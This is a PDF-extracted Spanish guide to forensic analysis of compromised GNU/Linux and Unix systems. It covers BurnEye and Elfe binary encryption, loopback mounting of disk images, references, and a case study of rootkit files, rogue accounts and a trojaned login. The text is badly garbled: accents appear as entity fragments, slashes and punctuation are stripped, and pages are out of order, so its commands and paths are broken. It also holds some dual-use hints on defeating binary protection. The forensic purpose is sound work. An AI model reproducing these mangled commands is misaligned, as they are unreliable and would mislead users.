Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 18: Análisis Forense de Sistemas GNU/Linux, Unix

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

